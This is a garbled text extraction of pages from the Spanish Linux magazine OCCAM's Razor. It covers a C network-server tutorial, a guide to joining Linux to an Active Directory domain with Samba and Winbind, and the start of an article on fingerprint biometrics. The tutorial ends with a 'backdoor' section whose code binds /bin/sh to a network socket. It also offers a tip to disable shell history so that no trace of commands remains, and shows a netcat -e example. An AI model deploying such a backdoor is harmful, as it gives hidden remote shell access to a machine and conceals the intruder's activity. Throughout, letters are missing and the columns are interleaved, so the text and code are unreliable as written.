La fun ión system está muy bien, ya que es muy sen i-
par de omentarios.
lla de utilizar, pero no nos da demasiado ontrol sobre
lo que eje utamos. Así que vamos a ha er nuestra pro- El primero es que uando se rea un nuevo pro eso
pia versión de system. utilizando fork, este pro eso hereda todos los des rip-
Fijaros en esta nueva versión de la fun ión pro esa. tores abiertos por el pro eso padre (el que llama a

int pro esa ( int s, har ∗ prg )


fork). Como dijimos más arriba son idénti os. Como
dos gotas de agua. Realmente hereda algunas osas
{
pid_t pid ;
har ∗ name [ 2 ℄ ;
más. Los más uriosos que se remitan al manual (man
fork).
if ( ( p i d = f o r k ( ) ) < 0 )
f p r i n t f ( s t d e r r , "No puedo r e a r e l p r o e s o " ) ; En prin ipio, el pro eso hijo ontinúa su eje u ión des-
else pués del fork, y podríamos in luir el ódigo del servi-
{
if ( p i d ) /∗ Pro eso padre ∗/ dor dire tamente ahí, pero si lo que queremos es eje-
{
utar otro programa, enton es tenemos que ambiar
p r i n t f ( " P r o e s o h i j o e s %d\n" , p i d ) ;
lose ( s ); el  ódigo del pro eso hijo. Y esto es lo que ha e exe .

OCCAM's Razor | 18
MÚ RÁPIDO

Utilizando la terminología de las páginas del manual, de estos molestos zombies, pero, para evitar sorpresas
exe sustituye la imagen del pro eso a tual on una en otros sistemas, es mejor dar buena uenta de ellos.
nueva imagen de pro eso que obtiene de un programa Un pro eso se queda en estado zombie, uando su pa-
externo alma enado en el dis o.... Es algo así omo dre termina la eje u ión antes que él. En ese aso, el
una posesión :) pro eso se queda esperando para retornar el resultado
Observad que la llamada exe sustituye la imagen del a su padre. Como el padre ya no existe, pues ahí se
pro eso, pero mantiene abiertos los des riptores de - queda el pobre, ni vivo, ni muerto... vamos un zombie
heros del pro eso que la invo a. De otra forma, todo total.
esto no fun ionaría. Para evitar esto, el padre debe eje utar la llamada al
sistema wait, la ual ha e que espere hasta que sus
DEJANDO EL SERVIDOR EN CONDI- hijos terminen de eje utarse y devuelvan un ódigo de
CIONES salida (el introdu ido en llamada a exit o el return en
la fun ión main).
Bien, si hasta el momento habéis estado probando el
Lo normal es manejar esta situa ión utilizando seña-
ódigo que hemos presentado, habréis omprobado un
les, on retamente propor ionando un manejador pa-
par de efe tos un po o in ómodos.
ra la señal SIGCHLD, que se genera ada vez que un
El primero es que justo después de eje utar el servi-
pro eso hijo se para o termina. Es muy sen illo para
dor, la llamada a bind falla, di iendo que la dire ión
los que queráis probarlo. Nosotros simplemente espe-
ya está en uso. Los más uriosos pueden indagar en
raremos por nuestro primogénito justo después de la
los viejos tomos (vamos, los RFC y la biblia de Ste-
llamada a pro esa. Para ello, modi aremos la fun ión
vens) sobre el estado maldito: TIME_WAIT. Algún día
main de esta guisa.
hablaremos sobre los entresijos del TCP/IP, pero no
hoy. int main ( int arg , har ∗ argv [ ℄ )
{
Para los que pasamos de todo, simplemente vamos a int s , as , s t a t u s ;
indi ar al sistema que permita la reutiliza ión de di-
s = r e a _ s e r v e r _ s o k e t ( a t o i ( argv [ 1 ℄ ) ) ;
re iones. Esto debemos ha erlo después de rear el a s = a e p t a _ o nexi on ( s ) ;
so ket (sino a ver que modi amos), y antes de ha er p r o e s a ( as , argv [ 2 ℄ ) ;
p r i n t f ( "Mi p r i m o g é n i t o %d ha terminado \n" ,
el bind (que es lo que nos da problemas :). w a i t (& s t a t u s ) ) ;
La nueva versión rea_server_so ket quedaría así: l o s e ( as ) ;
lose ( s );
int r e a _ s e r v e r _ s o k e t ( int p u e r t o ) }
{
stru t so kaddr_in s e r v e r ; No olvidéis añadir la siguiente línea junto al resto de
so klen_t sa_len =
sizeof ( stru t so kaddr_in ) ; in ludes:
int s; #in lude <sys/wait.h>
int ops = 1 ;
Probad de nuevo el servidor... y ono ed el nombre
s e r v e r . sin_addr . s_addr = INADDR_ANY; del primogénito. JAAA, JAAA, JAAA!!!!
s e r v e r . s i n _ f a m i l y = AF_INET ;
server . sin_port = htons ( puerto ) ;
n -
s = s o k e t (PF_INET, SOCK_STREAM, 0 ) ;
En la se ión, El Rin ón de los Le tores, de este
s e t s o k o p t ( s , SOL_SOCKET, SO_REUSEADDR,
&ops , sizeof ( ops ) ) ; mismo número, podéis en ontrar un mensaje que nos
if (
( bind ( s , ( stru t s o k a d d r ∗ )& s e r v e r , sa_len )
envío SLaYeR. En él nos omenta que su versión de
net at, no tiene la op ión - .
< 0))
{ Si des argáis la última versión de net at, veréis que
f p r i n t f ( stderr ,
"FATAL: Cannot bind t o p o r t %d\n" , p u e r t o ) ; efe tivamente esa op ión no está disponible. Y que
exit (1); impli a esto... bási amente que no podéis pasar pa-
}
listen (s , 1); rámetros al programa que net at eje utará. Probad

return s;
esto:
}
$ n -l -p 8000 -e 'ls /tmp'
Sí, así es. Los so ket tienen op iones (alguien ha on-
sultado la se ión 7 del manual... man 7 so ket?). Y En otra onsola
se pueden modi ar on esa fun ión que está antes del
bind. $ n lo alhost 8000
Bueno, ya nos hemos librado de un problema... pero
exe ls /tmp failed : No su h file or dire tory
todavía queda otro.

Como podéis observar, no fun iona. La perdida op-


CONTROLANDO A LOS CHIQUILLOS
ión - es la que permite realizar esto. Bási amente lo
Como se suele de ir, los hiquillos son unos demonios. que ha e es invo ar la shell on esa misma op ión (- )
Pero a ve es, pueden llegar a ser zombies :). Afortuna- lo que le indi a que interprete la adena de ara teres
damente, si utilizáis Linux, el sistema se suele en argar que sigue a ontinua ión.

19| OCCAM's Razor


MÚ RÁPIDO

Con todo lo que hemos visto hasta aquí y este último Sí... un a eso shell mola eh?. Si os jáis, hemos añadi-
omentario, deberíais ser apa es de añadir esa op ión do una nueva variable env y hemos ambiado la fun-
a vuestro net at. Para que la osa quede más lara, ión exe a utilizar. Esta nueva versión, exe ve, nos
aquí esta la fun ión de net at que eje uta el programa, permite, además de eje utar un determinado progra-
y de la que deberíais ha er una nueva versión: ma on sus parámetros, estable er una serie de varia-
bles de entorno para la eje u ión del mismo.
doexe ( f d )
int
fd ; En nuestro ejemplo no hemos estable ido ninguna...
{
register har ∗ p;
pero probad a in luir estas líneas

dup2 ( fd , 0 ) ; / ∗ t he p r e i s e order o f f i d d l a g e ∗ / env [ 0 ℄ = "HISTFILE=/dev/ n u l l " ;


l o s e ( f d ) ; /∗ i s a p p a r e n t l y r u i a l ; t h i s i s ∗/ env [ 1 ℄ =NULL;
dup2 ( 0 , 1 ) ; / ∗ swiped d i r e t l y out o f " i n e t d " . ∗ /
dup2 ( 0 , 2 ) ; Sobran las expli a iones no?... Bueno, vale. Lo que
p = s t r r h r ( p r 0 0 g i e , ' / ' ) ; / ∗ s h o r t e r argv [ 0 ℄ ∗ /
if (p) ha emos es argarnos el  hero de historia de la shell,
p++;
else on lo que no quedará onstan ia de los omandos que
hayamos es rito a través de nuestro ba kdoor. Mola!
p = pr00gie ;
Debug ( ( " gonna e x e %s a s %s . . . " , p r 0 0 g i e , p ) )
e x e l ( p r 0 0 g i e , p , NULL) ;
b a i l ( " e x e %s f a i l e d " , p r 0 0 g i e ) ; EN EL PRÓXIMO NÚMERO
/ ∗ t h i s g e t s s e n t out . Hmm. . . ∗ /
} / ∗ doexe ∗ / En el próximo número, veremos omo modi ar nues-
tro servidor para que pueda es u har en varios puertos
Os suena?. Bueno, esperamos que alguien se anime.
simultáneamente, omo ha e inetd, y algunas osillas
Es un ejer i io interesante.
más :).
Hasta el próximo número.
ZONA GEEK: BACKDOOR
Al prin ipio del artí ulo, omentábamos que quizás
esto sería más interesante si en lugar de superdemo-
nios habláramos de puertas traseras o ba kdoors omo
di en los angloparlantes.
Mu hos le tores avispados ya habrán intuido omo
onvertir nuestro sen illo servidor en una puerta tra-
sera muy simple. Para los más despistados, aquí está
la modi a ión de la fun ión pro esa para rematar la
transforma ión.

int pro esa ( int s, har ∗ prg )


{
pid_t pid ;
har ∗ name [ 3 ℄ , ∗ env [ 2 ℄ ;
if ( ( p i d = f o r k ( ) ) < 0 )
f p r i n t f ( s t d e r r , "No puedo r e a r el pro eso " ) ;
else
{
if ( ! p i d ) /∗ Pro eso h i j o ∗/
{
dup2 ( s , 0 ) ;
dup2 ( s , 1 ) ;
dup2 ( s , 2 ) ;

name [ 0 ℄ = "/ b i n / sh " ;


name [ 1 ℄ = "− i " ;
name [ 2 ℄ = NULL;

env [ 0 ℄ = NULL;
e x e v e ( name [ 0 ℄ , name , env ) ;
exit (1);
}
}
return 0;
}

Si ahora, eje utamos nuestro servidor omo siempre


(no ha e falta indi ar ningún programa a eje utar), lo
que obtenemos al one tarnos es:

$ n lo alhost 8080
sh: no job ontrol in this shell
sh-3.1$ exit
exit

OCCAM's Razor | 20
EN LA PRÁCTICA

Cone tando GNU/Linux y Windows


Cliente GNU/Linux en un Dominio Windows A tive Dire tory 2003
por Pablo Palazón (pablo.palazongmail. om)
Julio I. Sorribes (julioi.sorribesu lm.es)

INSTALACIÓN DE SAMBA, MITKerbe-

I
ros Y WINBIND
maginaros la siguiente situa ión: Estamos en Samba ofre e un onjunto de herramientas que pro-
una empresa mediana o grande donde la mayoría por ionan one tividad on los proto olos SMB/CIFS
de las máquinas usan Windows. Para fa ilitar las usados por las maquinas Mi rosoft Windows en la re-
tareas de trabajo en equipo han reado un do- des lo ales. Permite one tarse a unidades omparti-
minio gestionado mediante Dire torio A tivo (o das tanto de Windows omo de Samba (GNU/Linux).
A tive Dire tory). Kerberos es un proto olo de autenti a ión en red ne e-
sario para la identi a ión y autenti a ión de usuarios
Para los administradores de un dominio Windows, es ante A tive Dire tory.
una tarea trivial añadir su maquina a éste, pero la o- Winbind realiza la aso ia ión de UID's y GID's
sa se ompli a para las máquinas on sistema operati- GNU/Linux on SID's de Windows. Es impres indi-
vo GNU/Linux. Además, la estru tura del dominio es ble para ini iar sesión omo usuarios en la máquina
muy ompleja y la políti a de añadir máquinas es muy GNU/Linux pero validando el nombre y su ontra-
estri ta, y ne esita más datos de los realmente ne e- seña en la base de datos de usuarios del Dire torio
sarios (lugar de la máquina, número de identi a ión, A tivo, ya que transforma los identi adores de A -
propietario, et ). Por tanto, solo se añaden máquinas tive Dire tory en los propios de los sistema Unix, de
desde un interfaz Windows. manera que, identi ando los usuarios frente al D.A.
Antes de omenzar debemos estable er unos prelimi- de Windows, el S.O. GNU/Linux les permite el ini io
nares: de sesión omo usuarios normales on los privilegios
que el sistema otorga por defe to.
1. Si en un mismo ordenador tenemos instalados Para instalarlos, se pueden usar estos omandos:
dos Sistemas Operativos (Windows y GNU/Li-
apt-get install samba, krb5-user, winbind,
nux) habrá que rear, en el Dire torio A tivo
smb lient
(en adelante DA), una uenta de máquina pa-
ra ada uno de los Sistemas Operativos, on dos
nombres net-bios diferentes y ongurar el nom-
CONFIGURACIÓN DE FICHEROS
bre del equipo on di hos nombres, uno para a-
da uno de los Sistemas Operativos. Es de ir, si Comenzaremos la ongura ión on el  hero
tenemos instalado Windows y unido el ordena- /et /hosts
dor al dominio on un nombre net-bios, debemos
rear otra uenta de máquina para GNU/Linux 127.0.0.1 nombre-netbios.dominio.es lo alhost nombre-netbios
en el Dire torio A tivo on un nombre net-bios
diferente.
Realmente esto solo sirve para nuestro ordenador, pe-
2. La ongura ión es para Debian, modi ad los ro si intentamos a eder a nuestra máquina mediante
omandos a vuestros respe tivos sistemas. nombre, nos ahorramos el a eso al DNS. Añadimos
esta entrada en ualquier parte del  hero.

DOMINIOS Y DIRECTORIO ACTIVO

Sin que pretendamos ahora profundizar en los pormenores del on epto de dominio ni en la sigularidad
del Dire torio A tivo, sí onsideramos onveniente -para fa ilitar el entendimiento a los más profanos en la
materia- expli ar on un pequeño ejemplo qué es eso del dominio y qué es eso del Dire torio A tivo.

Para que os hagáis una idea rápida, el dominio es el grupo de elementos (ordenadores, impresoras, usuarios,
grupos de usuarios, et ) que onforman nuestra estru tura organizativa, y el Dire torio A tivo es la guía
o índi e (o base de datos) en la que alma enamos todos los datos -valga la redundan ia- relativos a los
elementos del dominio: el dominio sería nuestra  iudad, y el Dire torio A tivo sería el  allejero -aunque
on más fun ionalidades además de la lo aliza ión de las alles-. Espero que este ejemplo os a lare un po o
la diferen ia entre dominio y Dire torio A tivo.

21| OCCAM's Razor


EN LA PRÁCTICA

Seguimos on la ongura ión del  hero


# Tipo de base de datos para las ontraseñas en riptadas,
/et /nsswit h. onf. # ar hivos .tdb Tener uidado de que aparez a guest aquí,
# da error al ini iar samba.
# Uni amente sirve uando samba a tua omo servidor.
passwd: ompat winbind passdb ba kend = tdbsam
group: ompat
#================= WINBIND SETTINGS ===============
shadow: ompat # Usar el dominio DOMINIO por defe to
winbind use default domain = yes
# Nombre de Netbios, poner el nombre del equipo
netbios name = nombre-netbios
Cuando un usuario ha e login en el sistema, se deben # Separador para diferen iar el Dominio del usuario
omprobar las ontraseñas en los lugares que indi a winbind separator = /
# Enumera ión de los usuarios y grupos, para Dominios
el ampo passwd. Se utiliza el parámetro ompat - # on una gran antidad de usuarios >20000, no es
algunos sistemas utilizan el término files en lugar # re omendable enumerar los usuarios, pues tardaría
# mu ho en ha erlo.
de ompat, pero ambas deben fun ionar- para om- # Por ello, ada vez que se soli ita, el id de un usuario,
probar usuarios lo ales, y winbind para omprobar # se ha e la onversión en el a to, no la alma ena.
winbind enum users = no
los usuarios del dominio. Es importante que el siste- winbind enum groups = no
ma no ompruebe o oteje la existen ia del grupo del # Crear una tabla de orresponden ia entre SID y UID/GID,
# on los siguientes rangos. El rango, puede ser ualquiera,
usuario que ini ia sesión en los grupos existentes en # aunque el rango debe ser superior al numero de usuarios
el Dire torio A tivo porque ralentiza el arranque del # en el dominio. En aso ontrario, algunos usuarios pueden
# no a eder al sistema (de forma aleatoria)
sistema (si el dominio es muy grande). En deniti- idmap uid = 10000-200000
va, el parámetro winbind sólo debe estar en la línea idmap gid = 10000-200000
# Shell y dire torio Home predeterminados. Crear el
passwd: del  hero. # dire torio /home/DOMINIO
template shell = /bin/bash
template homedir = /home/DOMINIO/%U

La ongura ión de Samba es El nombre de net-bios debe ser el mismo on el que

fundamental para el pro eso de el administrador del dominio ha reado la uenta de


máquina en el Dire torio A tivo y ha de oin idir on
valida ión en un dominio. el que pusisteis en el  hero /et /hosts.

Una de la partes más importantes de la ongura ión


CONFIGURANDO KERBEROS
del liente GNU/Linux para su valida ión en un do- Una vez terminada la ongura ión de Samba,
minio gestionado a través de Dire torio A tivo es la omenzaremos on la de Kerberos. Al igual que
ongura ión de Samba. Para ello debemos modi ar /et /samba/smb. onf, aquí se indi a lo ne esa-
el  hero /et /samba/smb. onf. rio para nuestro dominio, pero lo podéis modi ar
Antes de esa modi a ión, es onveniente parar los a vuestro gusto. Para ello modi amos el  hero
demonios de samba y winbind eje utando omo root: /et /krb5. onf:

/et /init.d/winbind stop default_realm = DOMINIO.ES


/et /init.d/samba stop [realms℄
DOMINIO.ES = {
kd = ontrolador_dominio.dominio.es
En el  hero /et /samba/smb. onf, las partes que admin_server = ontrolador_dominio.dominio.es
indi amos son las ne esarias para Winbind, lo demás default_domain = dominio.es
lo podéis dejar omo está, o modi arlo a vuestro gus- }
to. No ha e falta que opiéis los omentarios, solo que [domain_realm℄
los entendáis. dominio.es = DOMINIO.ES
.dominio.es = DOMINIO.ES
[global℄
# Nombre del dominio y el reino de kerberos al que pertene e.
workgroup = DOMINIO Los datos para kd , y admin_server, se los debéis
realm = DOMINIO.ES
preguntar a vuestro administrador del dominio.
# Coger la informa ion del servidor WINS mediante DHCP Ahora llega la hora de la verdad, ver si todo se ha
in lude = /et /samba/dh p. onf
ongurado perfe tamente. Para omprobar el orre -
# Obligamos a que samba siga la políti a de seguridad de to fun ionamiento de Samba, debemos arran ar los
# un Dire torio A tivo. Tanto para la omparti ión de
# fi heros e impresoras omo para la autentifi a ion de demonios orrespondientes:
# usuarios
se urity = ADS /et /init.d/samba start
# Para la autentifi a ion oge ualquier servidor kerberos
# de la red. Podríamos definir uno determinado poniendo Y si al re-arran ar el demonio, no nos produ e ningún
# su nombre en lugar del asteris o error, enton es estará bien ongurado.
password server = *

# Obliga ión de usar ontraseñas en riptadas


/et /init.d/samba restart
en rypt passwords = true

OCCAM's Razor | 22
EN LA PRÁCTICA

Para omprobar el fun ionamiento de kerberos lo po- por la que tiene alma enada el Dire torio A tivo
demos ha er on este omando: se eje uta omo root:

kinit -V nombre_usuario_dominio net hangese retpw -w DOMINIO -f

Donde nombre_usuario_dominio (p.e. Juan.ele tron,


Como la uenta de máquina está re ién añadida
jisorrib) puede ser ualquier usuario del dominio, no
al dominio, no tiene ninguna ontraseña toda-
es ne esario que sea administrador. Luego introdu i-
vía. Por tanto, omo respuesta, no introdu imos
mos la ontraseña, y si es orre ta indi a la versión de
nada y pulsamos enter.
Kerberos utilizada, Kerberos 5.

2. Una vez que la máquina ono e la ontraseña


INICIO Y UNIÓN AL DOMINIO (nula) que le ha asignado el DA para su omu-
ni a ión, se le ha de pedir al servidor de dominio
Antes de ontinuar, debe estar reada la uenta del
que genere una ontraseña aleatoria y se la o-
equipo en el Dire torio A tivo on el nombre que se le
munique al ordenador que estamos uniendo a ese
ha dado en el sistema GNU/Linux. Di ho nombre de
dominio. Esto se efe túa eje utando el siguiente
equipo ha de ser el mismo que el que pusimos en el ar-
omando:
hivo de ongura ión de samba (net-bios name). Es
el administrador quien añade la máquina al dominio,
net ads hangetrustpw
por tanto debemos esperar a que el administrador nos
lo notique.
La nueva ontraseña de máquina es generada
A ontinua ión vamos a omprobar que nos one ta-
aleatoriamente y enviada a nuestro equipo que la
mos e ini iamos orre tamente la omuni a ión on el
alma ena en riptada, y por lo tanto sólo la ono-
Dire torio A tivo. Para ello, desde onsola de oman-
erá el servidor que la generó, y nuestro equipo.
dos eje utamos omo superusuario el siguiente oman-
do: ½½Tras eje utar este omando, no volver a eje-
net ads status -U nombre_net-bios_maquina utar el omando anterior ( hangese retpw)!!.
Si lo ha emos, tendremos que volver a rear otra

El nombre_net-bios_maquina es el nombre net-bios vez la uenta de máquina en el dominio, pues ha-

que orresponde a nuestro sistema. Si se a aba de unir, bremos ambiado la ontraseña de nuestro ordenador

esperar y omprobarlo un tiempo después (5-10 minu- que no oin idirá on la que nos asignó el servidor

tos). Si la onexión es orre ta la salida del omando del dominio -lo que se produ e tras eje utar el o-

nos muestra la informa ión de la máquina que se o- mando hangetrustpw- y nos dará un error al inten-

ne ta, ontenida en el Dire torio A tivo (nombre, gru- tar autenti arnos o al pedir otra ontraseña aleatoria

po al que pertene e, et .). ( hangetrustpw).


Si todo ha ido bien el sistema nos lo indi ará al -
nal. El omando modi a la ontraseña de máqui-
Tras añadir una máquina al DA na en el  hero /var/lib/samba/se rets.tdb. Para
su ontraseña es nula mayor seguridad y evitar suplanta iones indeseadas,
sería onveniente eje utar 'net ads hangetrustpw'
-habitualmente ada dos o tres meses, p.e.-
Cuando se añade una nueva uenta de máquina al Di- Por de irlo de alguna manera, nuestra máquina ya
re torio A tivo, la ontraseña de máquina es nula, es ha sido presentada en el Dire torio A tivo y ambos
de ir, no tiene ninguna ontraseña asignada. Para que - DA y Samba lo al- se ono en de manera inequívo-
ninguna otra máquina on el mismo nombre net-bios a.
se pueda ha er pasar por la que estamos ongurando,
debemos ambiar aquella ontraseña nula tanto en el INICIANDO SESIÓN
Dire torio A tivo omo en nuestro ordenador. Esto se
La siguiente tarea es que los usuarios de la máquina
realiza mediante los siguientes pasos:
que se está ongurando sean apa es de a eder a ini-
1. Para ambiar la ontraseña de la máquina (es- iar sesión identi ándose on su nombre de Usuario
tá en la base de datos de ontraseñas de samba) y ontraseña del DA del dominio.

23| OCCAM's Razor


EN LA PRÁCTICA

Es aquí en donde interviene el programa Winbind - re- autenti a ión usarán y qué tipo de sesión podrán ini-
la ionado siempre on SAMBA, KERBEROS y PAM, iar. Mejor di ho, qué bases de datos ha de usar para
ada uno en su respe tivo ámbito-, que, omo ya se in- en ontrar la informa ión que le indi ará al sistema
di ó, estable e la aso ia ión entre los identi adores todos aquellos datos. Por tanto, debemos de irle los
de las uentas lo ales que rea GNU/Linux y las del lugares (bases de datos) donde se en uentran los usua-
DA de Windows. rios -tanto los lo ales omo los del dominio-. Para ello
Para arran ar el demonio Winbind, la máqui- modi aremos 4  heros omunes que son usados por
na debe saber el SID del dominio, donde ha todos los programas que ne esitan la autenti a ión de
de onsultar las ontraseñas de usuarios. Una usuarios (gdm, login, et ).
vez ono ido el SID lo alma enará en el  hero
/var/lib/samba/se rets.tdb. Para ello hay que eje- PONED MUCHO CUIDADO, Y HACED CO-
utar omo root: PIA DEL DIRECTORIO /et /pam.d/ .
Si después no podéis ini iar el ordenador, no os
net rp getsid -w DOMINIO preo upéis. Arran áis un GNU/Linux Live- d,
montáis la parti ión de GNU/Linux del dis o
Si todo ha ido bien, nos lo onrmará di iendo que el
duro, y restauráis el dire torio /et /pam.d/ o
SID del DOMINIO esta en se rets.tdb. (En aso de
los  heros que habéis to ado.
error, sería onveniente omprobar en prin ipio que sí
tenemos esta linea en el ar hivo de ongura ión de El  hero /et /pam.d/ ommon-a ount, nos indi a
samba: dónde bus ar las uentas de usuario. Para ello, le de-
imos al sistema que es su iente que el usuario sea
in lude = /et /samba/dh p. onf
del dominio (winbind), y en aso de que no lo sea, es
ne esario que el usuario sea del sistema (lo al).
ya que el error puede produ irse por haber omitido o
no haber es rito bien di ha línea).
A partir de ahora se puede arran ar el demonio Win- a ount suffi ient pam_winbind.so
bind, sin que tenga ningún error. Eje utar omo root:
a ount required pam_unix.so try_first_pass

/et /init.d/winbind start

Para omprobar que fun iona nuestra omuni a ión


on el servidor del dominio se pueden eje utar estos
Linux PAM permite personalizar
omandos de informa ión de Winbind. el pro eso de autenti a ión en el
sistema
wbinfo -t #Comprobar la autentifi a ion de máquina
wbinfo -D DOMINIO #Cono er informa ión del dominio
Mediante este  hero /et /pam.d/ ommon-auth, ha-
emos que el sistema use determinadas formas de au-

El omando wbinfo usa Winbind para re uperar in-


tenti a ión. Para Winbind será mediante Kerberos.
Para el a eso lo al usa las uentas del sistema.
forma ión relativa al dominio.

CONFIGURACIÓN DE LINUX-PAM auth suffi ient pam_winbind.so


auth required pam_unix.so nullok_se ure try_first_pass
Linux-PAM se en arga de determinar qué personas
están autorizadas a usar el sistema, qué métodos de

OCCAM's Razor | 24
EN LA PRÁCTICA

En el  hero /et /pam.d/ ommon-password, le indi- POSIBLES PROBLEMAS


amos dónde se en uentran las ontraseñas que ha
Uno de los problemas a la hora de la ongura ión, es
de otejar (la librería pam_winbind.so indi a que las
que se realiza on un editor de texto normal y orrien-
ontraseñas se han de omprobar en el dominio).
te, omo ema s o nano (vi no es normal, :) y puede
llevarnos a ometer errores tipográ os. Tener sobre-
todo uidado on PAM, pues nos podemos argar el
password suffi ient pam_winbind.so sistema de autenti a ión de GNU/Linux, y sufriría-
password required pam_unix.so nullok obs ure\ mos mu ho. Aunque puede ser una enorme ventaja
min=4 max=8 md5 \ pues se entienden mu ho mejor las osas.
try_first_pass Bueno aquí os digo donde hemos re urrido uando al-
go no ha fun ionado omo debería:

Si tarda mu ho en ini iar sesión, enton es hay


Por último, el  hero /et /pam.d/ ommon-session, un problema on winbind. Comprobar el  hero
es utilizado después de que un usuario se haya auten- /et /nsswit h. onf , para que no busque gru-
ti ado. pos on winbind. De todas formas, parar win-
bind, pues ralentiza mu ho el sistema. Si no lo
podéis parar on el s ript del demonio, bus ar el
pid y matarlo on kill -9. Esto lo mata de ver-
session requisite pam_winbind.so
dad. No o urre nada si lo ha emos, no os preo-
session required pam_mkhomedir.so \
upéis.
skel=/et /skel
umask=0077
Log de los programas:
session required pam_unix.so try_first_pass
• /var/log/auth.log : Este es muy útil pa-
ra saber porque no ha ini iado un usuario.

pam_mkhomedir.so rea el dire torio home


La librería
• /var/log/samba/log.winbindd : Indi a si
ha habido errores al ini iar el demonio win-
orrespondiente al usuario en /home/DOMINIO/ -este
bind.
último ha de rearse a mano por el administrador
del sistema-. Se rea opiando todos los  heros que • /var/log/daemon.log : Indi a omo se
hay en /et /skel y le atribuye los permisos 700 (le - han ini iado los demonios, usado para om-
tura, es ritura y eje u ión solo para el usuario). probar samba.

Una vez terminada la ongura ión, ya se puede usar


el sistema tanto on uentas de usuario del dominio,
SOBRE LOS AUTORES
omo on uentas de usuario lo ales. Para a eder al
sistema se le ha de indi ar el usuario y la ontraseña. Los autores son estudiantes de 3
o de I.T.Informáti a
Con esta ongura ión no haría falta poner el dominio de Sistemas en la Es uela Polité ni a Superior de Al-
pues solo tenemos un reino ongurado en /et /. ba ete en la UCLM.

25| OCCAM's Razor


TECNOLOGÍA

La Da tilos opia Computerizada


Aprendemos omo trabajan los CSIs
por Fernando Martín Rodríguez

Universalidad: todas las personas deben poseer-


los.

É ste texto pretende ser el primero de una se-


Uni idad: no debe haber dos personas on los
rie de artí ulos sobre biometría. Lo malo de las
series (igual que las revistas) es que es fá il em- rasgos sele ionados iguales.
pezar pero luego hay que seguir (por lo menos el
que O am's vaya por el segundo número pare e Permanen ia: deben ser invariantes on el tiem-
buena señal). La biometría es el re ono imien- po.
to de personas a través de rasgos biométri os
( ara terísti as físi as o omportamientos). Por
Cuanti a ión: admiten medidas uantitativas.
ejemplo, son rasgos biométri os (físi os): la a-
ra, las huellas da tilares, la forma de la mano, el
Las huellas da tilares son el rasgo biométri o que me-
ADN... otros rasgos biométri os ( omportamien-
jor umple todas estas ara terísti as. Realmente, son
tos) son: la voz, la rma, los gestos, la forma de
un buen argumento para quienes reen que fuimos
andar...
reados por un ser superior (pare e que Dios nos ha
dotado de un  ódigo de barras). Se forman dentro
Los humanos nos re ono emos unos a otros usando del útero materno. Son diferentes in luso en los ge-
( asi in ons ientemente) una ombina ión de todos melos idénti os (que tienen el mismo ADN). Además,
esos rasgos. Aquí la parte que nos interesa (la te no- permane en inalterables durante toda la vida. In luso
lógi a) es poder ha er un re ono imiento automáti o, uando existen pequeñas heridas, si la piel se regenera
omputerizado. El tema de hoy (me emo ioné tanto sin i atri es, la nueva huella es igual a la anterior.
on la introdu ión que asi me olvido) es el trata-
Las huellas están formadas por las llamadas  restas
miento de huellas da tilares o da tilos opia (palabra
papilares que son relieves de la piel. El dibujo de las
pro edente del griego DAKTILOS = dedos y SKO-
restas (y de los sur os que hay entre ellas) es lo que
PIEN = observa). Los primeros estudios serios sobre
llamamos huella da tilar. Debido al sudor, ualquier
esta ien ia datan de prin ipios del siglo XX, en aquel
superi ie que to amos queda mar ada on nuestras
momento todo se ha ía de forma manual. Lo que pre-
huellas. Sin embargo, en las super ies muy urvas es
tende enseñarnos este artí ulo es un po o de los siste-
muy difí il obtener huellas laras, la super ie ideal
mas informatizados que se usan hoy día.
para ualquier da tilos opista es un vidrio plano. Las
huellas de una persona se obtenían (y se siguen obte-

INTRODUCCIÓN niendo) impregnando las yemas de los dedos en tinta


y mar ándolas sobre papel. Estos dibujos se llaman

A tualmente, debido a la re iente preo upa ión por da tilogramas y podéis fabri ar uno fá ilmente on

la seguridad públi a, vivimos una épo a de gran inte- un folio y un tintero de ruñar (ojo, lavar las ma-

rés en la investiga ión en sistemas biométri os. Como nos después on al ohol). Hoy en día existen le tores

deni ión, un sistema biométri o es aquél que reali- ele tróni os de diferentes te nologías ( apa itivos, RF,

za identi a ión o veri a ión de la identidad de un ópti os, térmi os ...) [1,2℄.
individuo utilizando algún rasgo físi o medible ( ara, El pro esado automáti o de huellas da tilares on -
huella da tilar, forma de la mano) o algún patrón de nes legales omenzó en los años 70 [3℄. Esta referen-
omportamiento personal ( ara terísti as de la voz o ia que os paso es un informe realizado por el NIST
de la es ritura, rma ...). Ojo, identi a ión es dife- (National Institute of Standards and Te hnology) que
rente de veri a ión ( indenti a ión: no sé quién es es un entro de I+D del ministerio de omer io norte-
el individuo, tengo una o varias muestras y lo bus o ameri ano. Esta gente se dedi a a ha er informes sobre
en una base de datos; veri a ión: de alguna manera temas que puedan interesar a las empresas de su país y
sé quién es o, por lo menos, lo sospe ho y uso medidas tienen la buena ostumbre de ha erlos públi os a todo
biométri as para omprobarlo). La veri a ión suele el mundo mundial (bueno, por algunos obran). Entre
ser un problema más simple y de solu ión más rápida las osas que distribuyen gratuitamente se en uentra
(porque no hay que bus ar en una base de datos sólo el NFIS (NIST Fingerprint Image Software) que es un
medir el pare ido entre diferentes muestras). Los ras- CD que ontiene software da tilos ópi o (apli a iones
gos usados por sistemas biométri os deben tener las de ompresión y de lasi a ión de imágenes de hue-
siguientes ara terísti as: llas).

OCCAM's Razor | 26
TECNOLOGÍA

Cuando yo lo onseguí había que enviarles un orreo PRECLASIFICACIÓN


di iendo quién eres, dónde vives y para qué lo quieres
y te lo enviaban por orreo postal (sí, sí, son yankees La pre lasi a ión se usa para redu ir el número de
y no quieren pasárselo a uno de Al Qaeda). Para om- ompara iones exhaustivas a realizar. Se trata de que
pletar el urrí ulum de esta gente, ellos desarrollaron tenemos una huella y diez mil  hados (por ejem-
el software da tilos ópi o que usa el FBI. plo). Si podemos dividir todas las huellas del mundo
Y, omo podéis imaginar, EL QUE DAN DE GRA- en N tipos, podremos eliminar mu has ompara iones
TIS NO ES LA MISMA VERSIÓN. Sin embargo, está de golpe (si la huella que tengo es del tipo 1, elimino
bastante bien y además es muy robusto. Está pensa- todas las demás del onjunto de posibles). Las hue-
do para poder trabajar on imágenes de muy baja llas se suelen lasi ar omo pertene ientes a una de
alidad omo los da tilogramas antiguos es aneados 5 lases disjuntas (N=5). Las lases que se denen pa-
(imaginaos una  ha en papel de la poli ía de Wis- ra esta pre lasi a ión siempre se basan en los pun-
onsin del año 1970 ...). tos singulares de las huellas (gura 1). En la gura
Como la Da tilos opia se usa en ámbitos poli iales y vemos los dos puntos singulares más importantes de
judi iales (esto es: omo alguien puede ir o no a la ár- toda huella: el nú leo (o ore) y el delta. El nú leo
